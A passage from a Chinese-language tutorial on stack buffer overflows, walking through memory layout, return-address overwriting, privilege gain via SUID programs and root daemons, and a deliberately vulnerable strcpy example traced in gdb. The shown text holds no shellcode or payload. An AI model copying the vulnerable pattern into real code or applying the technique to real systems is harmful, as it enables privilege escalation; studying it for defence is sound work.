则依赖于不同系统的实现),&lt;br&gt;             它的局部变量以及恢复调用该函数的函数的栈帧(也就是前一个栈帧)所需要的&lt;br&gt;             数据, 其中包含了调用函数的下一条执行指令的地址.&lt;br&gt;        v)   非初始化数据(BSS)区用于存放程序的静态变量, 这部分内存都是被初始化为零的.&lt;br&gt;             初始化数据区用于存放可执行文件里的初始化数据.&lt;br&gt;              这两个区统称为数据区.&lt;br&gt;        vi)  Text(文本区)是个只读区, 任何尝试对该区的写操作会导致段违法出错. 文本区&lt;br&gt;             是被多个运行该可执行文件的进程所共享的. 文本区存放了程序的代码.&lt;br&gt;&lt;br&gt;    2) 函数的栈帧.&lt;br&gt;       函数调用时所建立的栈帧包含了下面的信息:&lt;br&gt;       i)   函数的返回地址. 返回地址是存放在调用函数的栈帧还是被调用函数的栈帧里,&lt;br&gt;             取决于不同系统的实现.&lt;br&gt;       ii)  调用函数的栈帧信息, 即栈顶和栈底.&lt;br&gt;       iii) 为函数的局部变量分配的空间&lt;br&gt;       iv)  为被调用函数的参数分配的空间--取决于不同系统的实现.&lt;br&gt;&lt;br&gt;    3) 缓冲区溢出的利用.&lt;br&gt;       从函数的栈帧结构可以看出:&lt;br&gt;       由于函数的局部变量的内存分配是发生在栈帧里的, 所以如果我们在某一个函数里定义&lt;br&gt;        了缓冲区变量, 则这个缓冲区变量所占用的内存空间是在该函数被调用时所建立的栈帧里.&lt;br&gt;&lt;br&gt;       由于对缓冲区的潜在操作(比如字串的复制)都是从内存低址到高址的, 而内存中所保存&lt;br&gt;       的函数调用返回地址往往就在该缓冲区的上方(高地址)--这是由于栈的特性决定的, 这&lt;br&gt;       就为复盖函数的返回地址提供了条件. 当我们有机会用大于目标缓冲区大小的内容来向&lt;br&gt;       缓冲区进行填充时, 就有可以改写函数保存在函数栈帧中的返回地址, 从而使程序的执&lt;br&gt;        行流程随着我们的意图而转移. 换句话来说, 进程接受了我们的控制. 我们可以让进程&lt;br&gt;       改变原来的执行流程, 去执行我们准备好的代码.&lt;br&gt;&lt;br&gt;       这是冯.诺曼计算机体系结构的缺陷.&lt;br&gt;&lt;br&gt;       下面是缓冲区溢出利用的示意图:&lt;br&gt;       i) 函数对字串缓冲区的操作, 方向一般都是从内存低址向高址的.&lt;br&gt;          如: strcpy(s, &quot;AAA.....&quot;);&lt;br&gt; &lt;br&gt;                    s  s+1 s+2 s+3 ...&lt;br&gt;                    +---+---+---+--------+---+...+&lt;br&gt;         (内存低址) | A | A | A | ...... | A |...|     (内存高址)&lt;br&gt;                    +---+---+---+--------+---+...+&lt;br&gt;&lt;br&gt;          ii) 函数返回地址的复盖&lt;br&gt; &lt;br&gt;                                / |      ......        |  (内存高址)&lt;br&gt;                               /  +--------------------+&lt;br&gt;                  调用函数栈帧    |    0x41414141      |&lt;br&gt;                               \  +--------------------+&lt;br&gt;                                 \ |    0x41414141      |  调用函数的返回地址&lt;br&gt;                                 \+--------------------+&lt;br&gt;                                 /|      ......        |&lt;br&gt;                                / +--------------------+  s+8&lt;br&gt;                                /  |    0x41414141      |&lt;br&gt;                              /   +--------------------+  s+4&lt;br&gt;                被调用函数栈帧    |    0x41414141      |&lt;br&gt;                              \   +--------------------+  s&lt;br&gt;                                \  |    0x41414141      |&lt;br&gt;                                \ +--------------------+&lt;br&gt;                                 \|      ......        |&lt;br&gt;                                  +....................+&lt;br&gt;                                   |      ......        | (内存低址)&lt;br&gt;&lt;br&gt;               注: 字符A的十六进制ASCII码值为0x41.&lt;br&gt;&lt;br&gt;          iii) 从上图可以看出: 如果我们用的是进程可以访问的某个地址而不是0x41414141&lt;br&gt;               来改写调用函数的返回地址, 而这个地址正好是我们准备好的代码的入口, 那么&lt;br&gt;                进程将会执行我们的代码. 否则, 如果用的是进程无法访问的段的地址, 将会导&lt;br&gt;               致进程崩馈--Segment Fault Core dumped (段出错内核转储); 如果该地址处有&lt;br&gt;               无效的机器指令数据, 将会导致非法指令(Illigal Instruction)错误, 等等.&lt;br&gt;&lt;br&gt;   4) 缓冲区在Heap(堆)区或BBS区的情况&lt;br&gt;       i)  如果缓冲区的内存空间是在函数里通过动态申请得到的(如: 用malloc()函数申请), 那&lt;br&gt;          么在函数的栈帧中只是分配了存放指向Heap(堆)中相应申请到的内存空间的指针. 这种&lt;br&gt;          情况下, 溢出是发生在(Heap)堆中的, 想要复盖相应的函数返回地址, 看来几乎是不可&lt;br&gt;          能的. 这种情况的利用可能性要看具体情形, 但不是不可能的.&lt;br&gt;      ii) 如果缓冲区在函数中定义为静态(static), 则缓冲区内存空间的位置在非初始化(BBS)区,&lt;br&gt;           和在Heap(堆)中的情况差不多, 利用是可能的. 但还有一种特姝情况, 就是可以利用它来&lt;br&gt;          复盖函数指针, 让进程后来调用相应的函数变成调用我们所指定的代码.&lt;br&gt;&lt;br&gt;&lt;br&gt;3. 从缓冲区溢出的利用可以得到什么?&lt;br&gt;   从上文我们看到, 缓冲区溢出的利用可以使我们能够改写相关内存的内容及函数的返回地址, 从而&lt;br&gt;   改变代码的执行流程, 让进程去执行我们准备好的代码.&lt;br&gt; &lt;br&gt;   但是, 进程是以我们当前登录的用户身份来运行的. 能够执行我们准备好的代码又怎样呢? 我们还&lt;br&gt;   是无法突破系统对当前用户的权限设置, 无法干超越权限的事.&lt;br&gt;&lt;br&gt;   换句话来说, 要想利用缓冲区溢出得到更高的权限, 我们还得利用系统的一些特性.&lt;br&gt;&lt;br&gt;   对于UNIX来讲, 有两个特性可以利用.&lt;br&gt;   i)  SUID及SGID程序&lt;br&gt;       UNIX是允许其他用户可以以某个可执行文件的文件拥有者的用户ID或用户组ID的身份来执行该&lt;br&gt;        文件的,这是通过设置该可执行文件的文件属性为SUID或SGID来实现的.&lt;br&gt;       也就是说如果某个可执行文件被设了SUID或SGID, 那么当系统中其他用户执行该文件时就相当&lt;br&gt;       于以该文件属主的用户或用户组身份来执行该文件.&lt;br&gt;       如果某个可执行文件的属主是root, 而这个文件被设了SUID, 那么如果该可执行文件存在可利&lt;br&gt;       用的缓冲区溢出漏洞, 我们就可以利用它来以root的身份执行我们准备好的代码. 没有比让它&lt;br&gt;        为我们产生一个具有超级用户root身份的SHELL更吸引人了, 是不是?&lt;br&gt;&lt;br&gt;   ii) 各种端口守护(服务)进程&lt;br&gt;       UNIX中有不少守护(服务)进程是以root的身份运行的, 如果这些程序存在可利用的缓冲区溢出,&lt;br&gt;       那么我们就可以让它们以当前运行的用户身份--root去执行我们准备被好的代码.&lt;br&gt;       由于守护进程已经以root的身份在运行, 我们并不需要相对应的可执行文件为SUID或SGID属性.&lt;br&gt;        又由于此类利用通常是从远程机器上向目标机器上的端口发送有恶意的数据造成的, 所以叫做&lt;br&gt;       &quot;远程溢出&quot;利用.&lt;br&gt;&lt;br&gt;4. 一个有问题的程序&lt;br&gt;    以下例程纯属虚构, 如有雷同, 纯属巧合.&lt;br&gt;&lt;br&gt;/*&lt;br&gt;*    文件名  : p.c&lt;br&gt;*    编译    : gcc -o p p.c&lt;br&gt;*/&lt;br&gt;&lt;br&gt;#include &lt;stdio.h&gt;&lt;br&gt; &lt;br&gt;void vulFunc(char* s)&lt;br&gt;{&lt;br&gt;    char buf[10];&lt;br&gt;    strcpy(buf, s);&lt;br&gt;    printf(&quot;String=%s\n&quot;, buf);&lt;br&gt;}&lt;br&gt;&lt;br&gt;main(int argc, char* argv[])&lt;br&gt;{&lt;br&gt;    if(argc == 2)&lt;br&gt;    {&lt;br&gt;        vulFunc(argv[1]);&lt;br&gt;     }&lt;br&gt;    else&lt;br&gt;    {&lt;br&gt;        printf(&quot;Usage: %s &lt;A string&gt;\n&quot;, argv[0]);&lt;br&gt;    }&lt;br&gt;&lt;br&gt;}&lt;br&gt;&lt;br&gt;    这个例程接受用户在命令行的字串输入, 然后在标准输出(屏幕)上打印出来. 我们可以看出在&lt;br&gt;    vulFunc()这个函数里, 定义了一个最多可以装十个字符的缓冲区buf. 如果我们在命令行输入&lt;br&gt;     小于等于十个字符的字串, 则一切都很正常. 但是, 如果我们输入的字串长度大于十呢? 情况&lt;br&gt;    会怎样? 缓冲区太小装不下了, 所以溢出了? 答案有待于具体分析一下才知道.&lt;br&gt;&lt;br&gt;    对于这个程序在不同操作系统下的分析和模拟攻击. 请看第二部份基楚篇&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;                      第二部份    基楚篇&lt;br&gt;5. Linux x86 平台&lt;br&gt;   本文使用了如下Linux平台:&lt;br&gt;    Red Hat Linux release 6.2 (Zoot)&lt;br&gt;   Kernel 2.2.14-12 on an i586&lt;br&gt;&lt;br&gt;   所使用的编译器及版本:&lt;br&gt;   bash$ gcc -v&lt;br&gt;   Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs&lt;br&gt;   gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)&lt;br&gt; &lt;br&gt;   注意: 不同版本的编译器编译相同代码所生成的机器指令可能不同.&lt;br&gt;&lt;br&gt;   1) 例程p.c在Linux x86平台下的剖析.&lt;br&gt;      i)   首先我们编译p.c并用gdb对相关函数进行反汇编&lt;br&gt;           结果见如下清单:&lt;br&gt;&lt;br&gt;           bash$ gcc -o p p.c&lt;br&gt;           bash$ gdb p&lt;br&gt;           GNU gdb 19991004&lt;br&gt;            Copyright 1998 Free Software Foundation, Inc.&lt;br&gt;           GDB is free software, covered by the GNU General Public License, and you are&lt;br&gt;           welcome to change it and/or distribute copies of it under certain conditions.&lt;br&gt;            Type &quot;show copying&quot; to see the conditions.&lt;br&gt;           There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for details.&lt;br&gt;           This GDB was configured as &quot;i386-redhat-linux&quot;...&lt;br&gt;            (gdb) disas main&lt;br&gt;           Dump of assembler code for function main:&lt;br&gt;           0x804842c &lt;main&gt;:       push   %ebp&lt;br&gt;           0x804842d &lt;main+1&gt;:     mov    %esp,%ebp&lt;br&gt;           0x804842f &lt;main+3&gt;:     cmpl   $0x2,0x8(%ebp)&lt;br&gt;            0x8048433 &lt;main+7&gt;:     jne    0x8048448 &lt;main+28&gt;&lt;br&gt;           0x8048435 &lt;main+9&gt;:     mov    0xc(%ebp),%eax&lt;br&gt;           0x8048438 &lt;main+12&gt;:    add    $0x4,%eax&lt;br&gt;           0x804843b &lt;main+15&gt;:    mov    (%eax),%edx&lt;br&gt;            0x804843d &lt;main+17&gt;:    push   %edx&lt;br&gt;           0x804843e &lt;main+18&gt;:    call   0x8048400 &lt;vulFunc&gt;&lt;br&gt;           0x8048443 &lt;main+23&gt;:    add    $0x4,%esp&lt;br&gt;           0x8048446 &lt;main+26&gt;:    jmp    0x804845b &lt;main+47&gt;&lt;br&gt;            0x8048448 &lt;main+28&gt;:    mov    0xc(%ebp),%eax&lt;br&gt;           0x804844b &lt;main+31&gt;:    mov    (%eax),%edx&lt;br&gt;           0x804844d &lt;main+33&gt;:    push   %edx&lt;br&gt;           0x804844e &lt;main+34&gt;:    push   $0x80484bb&lt;br&gt;            0x8048453 &lt;main+39&gt;:    call   0x8048330 &lt;printf&gt;&lt;br&gt;           0x8048458 &lt;main+44&gt;:    add    $0x8,%esp&lt;br&gt;           0x804845b &lt;main+47&gt;:    leave&lt;br&gt;           0x804845c &lt;main+48&gt;:    ret&lt;br&gt;            0x804845d &lt;main+49&gt;:    nop&lt;br&gt;           0x804845e &lt;main+50&gt;:    nop&lt;br&gt;           0x804845f &lt;main+51&gt;:    nop&lt;br&gt;           End of assembler dump.&lt;br&gt;           (gdb) disas vulFunc&lt;br&gt;           Dump of assembler code for function vulFunc:&lt;br&gt;            0x8048400 &lt;vulFunc&gt;:    push   %ebp&lt;br&gt;           0x8048401 &lt;vulFunc+1&gt;:  mov    %esp,%ebp&lt;br&gt;           0x8048403 &lt;vulFunc+3&gt;:  sub    $0xc,%esp&lt;br&gt;           0x8048406 &lt;vulFunc+6&gt;:  mov    0x8(%ebp),%eax&lt;br&gt;            0x8048409 &lt;vulFunc+9&gt;:  push   %eax&lt;br&gt;           0x804840a &lt;vulFunc+10&gt;: lea    0xfffffff4(%ebp),%eax&lt;br&gt;           0x804840d &lt;vulFunc+13&gt;: push   %eax&lt;br&gt;           0x804840e &lt;vulFunc+14&gt;: call   0x8048340 &lt;strcpy&gt;&lt;br&gt;            0x8048413 &lt;vulFunc+19&gt;: add    $0x8,%esp&lt;br&gt;           0x8048416 &lt;vulFunc+22&gt;: lea    0xfffffff4(%ebp),%eax&lt;br&gt;           0x8048419 &lt;vulFunc+25&gt;: push   %eax&lt;br&gt;           0x804841a &lt;vulFunc+26&gt;: push   $0x80484b0&lt;br&gt;            0x804841f &lt;vulFunc+31&gt;: call   0x8048330 &lt;printf&gt;&lt;br&gt;           0x8048424 &lt;vulFunc+36&gt;: add    $0x8,%esp&lt;br&gt;           0x8048427 &lt;vulFunc+39&gt;: leave&lt;br&gt;           0x8048428 &lt;vulFunc+40&gt;: ret&lt;br&gt;            0x8048429 &lt;vulFunc+41&gt;: lea    0x0(%esi),%esi&lt;br&gt;           End of assembler dump.&lt;br&gt;&lt;br&gt;&lt;br&gt;           这里我们只对所关心的main和vulFunc两个函数进行反汇编分析.&lt;br&gt;&lt;br&gt;      ii)  进程的运行及其在内存中的情况分析&lt;br&gt;           我们用gdb来跟踪看看进程是如何在内存中运行的.&lt;br&gt; &lt;br&gt;           首先把程序调入.&lt;br&gt;           bash$ gdb p&lt;br&gt;           GNU gdb 19991004&lt;br&gt;           Copyright 1998 Free Software Foundation, Inc.&lt;br&gt;           GDB is free software, covered by the GNU General Public License, and you are&lt;br&gt;            welcome to change it and/or distribute copies of it under certain conditions.&lt;br&gt;           Type &quot;show copying&quot; to see the conditions.&lt;br&gt;           There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for details.&lt;br&gt;            This GDB was configured as &quot;i386-redhat-linux&quot;...&lt;br&gt;           (gdb)&lt;br&gt;&lt;br&gt;           把断点设到main的第一条可执行汇编指令上&lt;br&gt;           (gdb) b *0x804842c&lt;br&gt;           Breakpoint 1 at 0x804842c&lt;br&gt;&lt;br&gt;           运行程序&lt;br&gt;            (gdb) r AAAAAAAA&lt;br&gt;           Starting program: /home/vcat/p AAAAAAAA&lt;br&gt;&lt;br&gt;           Breakpoint 1, 0x804842c in main ()&lt;br&gt;&lt;br&gt;           在断点处停下来了.&lt;br&gt;           看一下这时各寄存器的值&lt;br&gt;           (gdb) i reg&lt;br&gt;           eax            0x4010b3f8       1074836472&lt;br&gt;            ecx            0x804842c        134513708&lt;br&gt;           edx            0x4010d098       1074843800&lt;br&gt;           ebx            0x4010c1ec       1074840044&lt;br&gt;           esp            0xbffff6bc       -1073744196&lt;br&gt;            ebp            0xbffff6d8       -1073744168&lt;br&gt;           esi            0x4000ae60       1073786464&lt;br&gt;           edi            0xbffff704       -1073744124&lt;br&gt;           eip            0x804842c        134513708&lt;br&gt;            eflags         0x246    582&lt;br&gt;           cs             0x23     35&lt;br&gt;           ss             0x2b     43&lt;br&gt;           ds             0x2b     43&lt;br&gt;           es             0x2b     43&lt;br&gt;           fs             0x0      0&lt;br&gt;            gs             0x0      0&lt;br&gt;           cwd            0xffff037f       -64641&lt;br&gt;           swd            0xffff0000       -65536&lt;br&gt;           twd            0xffffffff       -1&lt;br&gt;           fip            0x40034d70       1073958256&lt;br&gt;            fcs            0x35d0023        56426531&lt;br&gt;           fopo           0xbfffe400       -1073748992&lt;br&gt;           fos            0xffff002b       -65493&lt;br&gt;&lt;br&gt;           我们这里关心的是栈底(ebp), 栈顶(esp)及指令寄存器(eip).&lt;br&gt;            此时, ebp的值为0xbffff6d8, esp的值为0xbffff6bc, 相差28个字节.&lt;br&gt;           eip的值为0x804842c, 正好是我们所设的断点.&lt;br&gt;           (注: 这里的值可能会随着程序运行在不同的系统环境而不同)&lt;br&gt;&lt;br&gt;           我们再看看当前栈帧里有什么内容?&lt;br&gt;           (gdb) x/8x $esp&lt;br&gt;           0xbffff6bc:     0x400349cb      0x00000002      0xbffff704      0xbffff710&lt;br&gt;            0xbffff6cc:     0x40013868      0x00000002      0x08048350      0x00000000&lt;br&gt;&lt;br&gt;           也就是说, main函数刚被调用时进程在内存中的相关部份的影像是这样的:&lt;br&gt;                   (内存高址)&lt;br&gt;                              | ...... |&lt;br&gt;                              +--------+&lt;br&gt;                               |00000000|&lt;br&gt;                   0xbffff6d8 +--------+ &lt;-- ebp (调用main函数前的ebp)&lt;br&gt;                              |08048350|&lt;br&gt;                              +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                               +--------+&lt;br&gt;                              |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff710|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff704|&lt;br&gt;                               +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                              |400349cb|&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- esp (调用main函数前的esp)&lt;br&gt;                               | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt;&lt;br&gt;&lt;br&gt;           我们看看接下来的指令做了些什么?&lt;br&gt;           0x804842c &lt;main&gt;:       push   %ebp         ; esp的值等于esp-4(因为ebp是32位);&lt;br&gt;                                                       ; 把ebp的值放入esp所指的32位内存单&lt;br&gt;                                                        ; 元(注: 这里保存栈底).&lt;br&gt;           0x804842d &lt;main+1&gt;:     mov    %esp,%ebp    ; ebp的值等于esp的值(注: 这里把原来&lt;br&gt;                                                       ; 的栈顶做为新的栈底).&lt;br&gt; &lt;br&gt;           运行这两条指令, 然后看一下寄存器内容和栈的情况.&lt;br&gt;           (gdb) si&lt;br&gt;           0x804842d in main ()&lt;br&gt;           (gdb) si&lt;br&gt;           0x804842f in main ()&lt;br&gt;           (gdb) i reg&lt;br&gt;           eax            0x4010b3f8       1074836472&lt;br&gt;            ecx            0x804842c        134513708&lt;br&gt;           edx            0x4010d098       1074843800&lt;br&gt;           ebx            0x4010c1ec       1074840044&lt;br&gt;           esp            0xbffff6b8       -1073744200&lt;br&gt;            ebp            0xbffff6b8       -1073744200&lt;br&gt;           esi            0x4000ae60       1073786464&lt;br&gt;           edi            0xbffff704       -1073744124&lt;br&gt;           eip            0x804842f        134513711&lt;br&gt;            eflags         0x346    838&lt;br&gt;           cs             0x23     35&lt;br&gt;           ss             0x2b     43&lt;br&gt;           ds             0x2b     43&lt;br&gt;           es             0x2b     43&lt;br&gt;           fs             0x0      0&lt;br&gt;            gs             0x0      0&lt;br&gt;           cwd            0xffff037f       -64641&lt;br&gt;           swd            0xffff0000       -65536&lt;br&gt;           twd            0xffffffff       -1&lt;br&gt;           fip            0x40034d70       1073958256&lt;br&gt;            fcs            0x35d0023        56426531&lt;br&gt;           fopo           0xbfffe400       -1073748992&lt;br&gt;           fos            0xffff002b       -65493&lt;br&gt;           (gdb) x/9x $esp&lt;br&gt;           0xbffff6b8:     0xbffff6d8      0x400349cb      0x00000002      0xbffff704&lt;br&gt;            0xbffff6c8:     0xbffff710      0x40013868      0x00000002      0x08048350&lt;br&gt;           0xbffff6d8:     0x00000000&lt;br&gt;&lt;br&gt;           此时进程的相关影像为:&lt;br&gt;                   (内存高址)&lt;br&gt;                              | ...... |&lt;br&gt;                               +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                   0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                              |08048350|&lt;br&gt;                              +--------+&lt;br&gt;                               |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                              |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff710|&lt;br&gt;                              +--------+&lt;br&gt;                               |bffff704|&lt;br&gt;                              +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                              |400349cb|&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- 调用main函数前的esp&lt;br&gt;                               |bffff6d8|&lt;br&gt;                   0xbffff6b8 +--------+ &lt;-- ebp, esp&lt;br&gt;                              | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt;&lt;br&gt;           接下来的两条指令:&lt;br&gt;           0x804842f &lt;main+3&gt;:     cmpl   $0x2,0x8(%ebp)       ; 2和ebp+8所指向的内存(32位--4&lt;br&gt;                                                                ; 个字节)里面所放的内容比较.&lt;br&gt;           0x8048433 &lt;main+7&gt;:     jne    0x8048448 &lt;main+28&gt;  ; 如果不等则跳到0x08048448地址&lt;br&gt;                                                               ; 处继续执行, 否则执行下条指令.&lt;br&gt;            这里我们可以看到这是C语言语句&lt;br&gt;           if(argc == 2)&lt;br&gt;           {&lt;br&gt;              ...&lt;br&gt;           }&lt;br&gt;           else&lt;br&gt;           {&lt;br&gt;              ...&lt;br&gt;           }&lt;br&gt;           的等价汇编语句. 内存地址ebp+8处存放的是argc的值.&lt;br&gt;            (gdb) x/x $ebp+8&lt;br&gt;           0xbffff6c0:     0x00000002&lt;br&gt;&lt;br&gt;           我们来看看在调用vulFunc函数前的指令:&lt;br&gt;           0x8048435 &lt;main+9&gt;:     mov    0xc(%ebp),%eax  ; 把内存地址ebp+12处的四个字节的&lt;br&gt;                                                          ; 内容放到eax里.&lt;br&gt;            0x8048438 &lt;main+12&gt;:    add    $0x4,%eax       ; eax等于eax+4.&lt;br&gt;           0x804843b &lt;main+15&gt;:    mov    (%eax),%edx     ; 把eax指向的四个内存字节单元里&lt;br&gt;                                                          ; 的内容赋给edx&lt;br&gt;            0x804843d &lt;main+17&gt;:    push   %edx            ; esp等于esp-4, 把edx的值放到esp&lt;br&gt;                                                          ; 所指的内存地址的四个字节单元里.&lt;br&gt;&lt;br&gt;           看看ebp+12处放的是什么?&lt;br&gt;           (gdb) x/x $ebp+12&lt;br&gt;            0xbffff6c4:     0xbffff704&lt;br&gt;           怀疑这里放的是指向argv[0]字串的地址的地址, 看看是不是&lt;br&gt;           (gdb) x/x 0xbffff704&lt;br&gt;           0xbffff704:     0xbffff83e&lt;br&gt;           (gdb) x/1s 0xbffff83e&lt;br&gt;           0xbffff83e:      &quot;/home/vcat/p&quot;&lt;br&gt;            果然是. 那么$ebp+12的所指的四个字节的内容(argv[0]字串的地址)加上四, 应该就是指向&lt;br&gt;           argv[1]字串的地址了.&lt;br&gt;           (gdb) x/x 0xbffff704+4&lt;br&gt;           0xbffff708:     0xbffff856&lt;br&gt;           (gdb) x/1s 0xbffff856&lt;br&gt;           0xbffff856:      &quot;AAAAAAAA&quot;&lt;br&gt; &lt;br&gt;           可以看出, 这四条指令是用来计算argv[1](即所输入的字串&quot;AAAAAAAA&quot;在内存中的起始地址),&lt;br&gt;           然后把该地址压入栈中做为参数传给即将被调用的函数vulFunc的.&lt;br&gt;&lt;br&gt;           设个断点在0x804843e, 让程序继续执行到调用vulFunc函数之前.&lt;br&gt;           (gdb) b *0x804843e&lt;br&gt;           Breakpoint 2 at 0x804843e&lt;br&gt;            (gdb) c&lt;br&gt;           Continuing.&lt;br&gt;&lt;br&gt;           (gdb) i reg&lt;br&gt;           eax            0xbffff708       -1073744120&lt;br&gt;           ecx            0x804842c        134513708&lt;br&gt;           edx            0xbffff856       -1073743786&lt;br&gt;            ebx            0x4010c1ec       1074840044&lt;br&gt;           esp            0xbffff6b4       -1073744204&lt;br&gt;           ebp            0xbffff6b8       -1073744200&lt;br&gt;           esi            0x4000ae60       1073786464&lt;br&gt;            edi            0xbffff704       -1073744124&lt;br&gt;           eip            0x804843e        134513726&lt;br&gt;           eflags         0x282    642&lt;br&gt;           (以下省略)&lt;br&gt;           ...&lt;br&gt;&lt;br&gt;           (gdb) x/10x $esp&lt;br&gt;            0xbffff6b4:     0xbffff856      0xbffff6d8      0x400349cb      0x00000002&lt;br&gt;           0xbffff6c4:     0xbffff704      0xbffff710      0x40013868      0x00000002&lt;br&gt;           0xbffff6d4:     0x08048350      0x00000000&lt;br&gt; &lt;br&gt;           此时的进程在内存中的相关影像为:&lt;br&gt;                   (内存高址)&lt;br&gt;                              | ...... |&lt;br&gt;                              +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                   0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                               |08048350|&lt;br&gt;                              +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                              |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                               |bffff710|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff704| argv的地址(即argv[0]的地址)&lt;br&gt;                   0xbffff6c4 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                    0xbffff6c0 +--------+&lt;br&gt;                              |400349cb|&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- 调用main函数前的esp&lt;br&gt;                              |bffff6d8| 调用main函数前的ebp&lt;br&gt;                   0xbffff6b8 +--------+ &lt;-- main函数的ebp&lt;br&gt;                               |bffff856| 字符串&quot;AAAAAAAA&quot;在内存中的开始地址&lt;br&gt;                   0xbffff6b4 +--------+ &lt;-- main函数的esp&lt;br&gt;                              | ...... |&lt;br&gt;                   (内存低址)&lt;br&gt;&lt;br&gt;           单步执行&lt;br&gt;            (gdb) si&lt;br&gt;           0x8048400 in vulFunc ()&lt;br&gt;&lt;br&gt;           好, 现在进入vulFunc函数了.&lt;br&gt;           (gdb) i reg&lt;br&gt;           eax            0xbffff708       -1073744120&lt;br&gt;           ecx            0x804842c        134513708&lt;br&gt;            edx            0xbffff856       -1073743786&lt;br&gt;           ebx            0x4010c1ec       1074840044&lt;br&gt;           esp            0xbffff6b0       -1073744208&lt;br&gt;           ebp            0xbffff6b8       -1073744200&lt;br&gt;            esi            0x4000ae60       1073786464&lt;br&gt;           edi            0xbffff704       -1073744124&lt;br&gt;           eip            0x8048400        134513664&lt;br&gt;           eflags         0x382    898&lt;br&gt;           (以下省略)&lt;br&gt;            ...&lt;br&gt;&lt;br&gt;           这时esp已经变为0xbffff6b0, 和以前的值0xbffff6b4比较相差四个字节.&lt;br&gt;           我们来看看到底压了什么东西入栈.&lt;br&gt;           (gdb) x/11x $esp&lt;br&gt;           0xbffff6b0:     0x08048443      0xbffff856      0xbffff6d8      0x400349cb&lt;br&gt;            0xbffff6c0:     0x00000002      0xbffff704      0xbffff710      0x40013868&lt;br&gt;           0xbffff6d0:     0x00000002      0x08048350      0x00000000&lt;br&gt;&lt;br&gt;           原来是main函数里调用vulFunc函数的指令的后续指令的地址--即vulFunc函数的返回地址.&lt;br&gt;            这是我们的第一个焦点.&lt;br&gt;&lt;br&gt;           ...&lt;br&gt;           0x804843e &lt;main+18&gt;:    call   0x8048400 &lt;vulFunc&gt;&lt;br&gt;           0x8048443 &lt;main+23&gt;:    add    $0x4,%esp&lt;br&gt;           ...&lt;br&gt;&lt;br&gt;           我们接着分析vulFunc函数.&lt;br&gt;            0x8048400 &lt;vulFunc&gt;:    push   %ebp&lt;br&gt;           0x8048401 &lt;vulFunc+1&gt;:  mov    %esp,%ebp&lt;br&gt;           0x8048403 &lt;vulFunc+3&gt;:  sub    $0xc,%esp    ; esp等于esp-12, 栈帧大小增加12个字节.&lt;br&gt;&lt;br&gt;           前面两条指令的功能和main函数的一样, 用来保存调用函数栈帧的栈底ebp和设置被调用函&lt;br&gt;            数栈帧栈底.&lt;br&gt;           即: 保存调用函数的栈帧栈底, 调用函数栈帧的栈顶变为被调用函数的栈底. 可以看出当前&lt;br&gt;               (被调用函数)的栈帧为空时, ebp和esp的值相等.&lt;br&gt;&lt;br&gt;&lt;br&gt;           第三条指令在栈帧中分配了0xc(十二)个字节的内存空间, 注意到里面的内容是垃圾.&lt;br&gt;           (gdb) si&lt;br&gt;           0x8048401 in vulFunc ()&lt;br&gt;            (gdb) si&lt;br&gt;           0x8048403 in vulFunc ()&lt;br&gt;           (gdb) si&lt;br&gt;           0x8048406 in vulFunc ()&lt;br&gt;&lt;br&gt;           (gdb) x/15x $esp&lt;br&gt;           0xbffff6a0:     0x4000ae60      0xbffff704      0xbffff6b8      0xbffff6b8&lt;br&gt;            0xbffff6b0:     0x08048443      0xbffff856      0xbffff6d8      0x400349cb&lt;br&gt;           0xbffff6c0:     0x00000002      0xbffff704      0xbffff710      0x40013868&lt;br&gt;           0xbffff6d0:     0x00000002      0x08048350      0x00000000&lt;br&gt; &lt;br&gt;           此时进程在内存中相关的影像为:&lt;br&gt;                   (内存高址)&lt;br&gt;                              | ...... |&lt;br&gt;                              +--------+&lt;br&gt;                              |00000000|&lt;br&gt;                   0xbffff6d8 +--------+ &lt;-- 调用main函数前的ebp&lt;br&gt;                               |08048350|&lt;br&gt;                              +--------+&lt;br&gt;                              |00000002|&lt;br&gt;                              +--------+&lt;br&gt;                              |40013868|&lt;br&gt;                              +--------+&lt;br&gt;                               |bffff710|&lt;br&gt;                              +--------+&lt;br&gt;                              |bffff704| argv的地址(即argv[0]的地址)&lt;br&gt;                   0xbffff6c4 +--------+&lt;br&gt;                              |00000002| argc的值&lt;br&gt;                    0xbffff6c0 +--------+&lt;br&gt;                              |400349cb|&lt;br&gt;                   0xbffff6bc +--------+ &lt;-- 调用main函数前的esp&lt;br&gt;                              |bffff6d8| 调用main函数前的ebp&lt;br&gt;                   0xbffff6b8 +--------+ &lt;-- main函数的ebp&lt;br&gt;                               |bffff856| 字符串&quot;AAAAAAAA&quot;在内存中的起始地址&lt;br&gt;                   0xbffff6b4 +--------+&lt;br&gt;                              |08048443| vulFunc函数的返回地址&lt;br&gt;                   0xbffff6b0 +--------+ &lt;-- 调用vulFunc函数前的esp&lt;br&gt;                               |bffff6b8| main函数的ebp&lt;br&gt;                   0xbffff6ac +--------+ &lt;-- vulFunc函数的ebp&lt;br&gt;                              |bffff6b8| (垃圾)&lt;br&gt;                   0xbffff6a8 +--------+&lt;br&gt;                              |bffff704| (垃圾)&lt;br&gt;                    0xbffff6a4 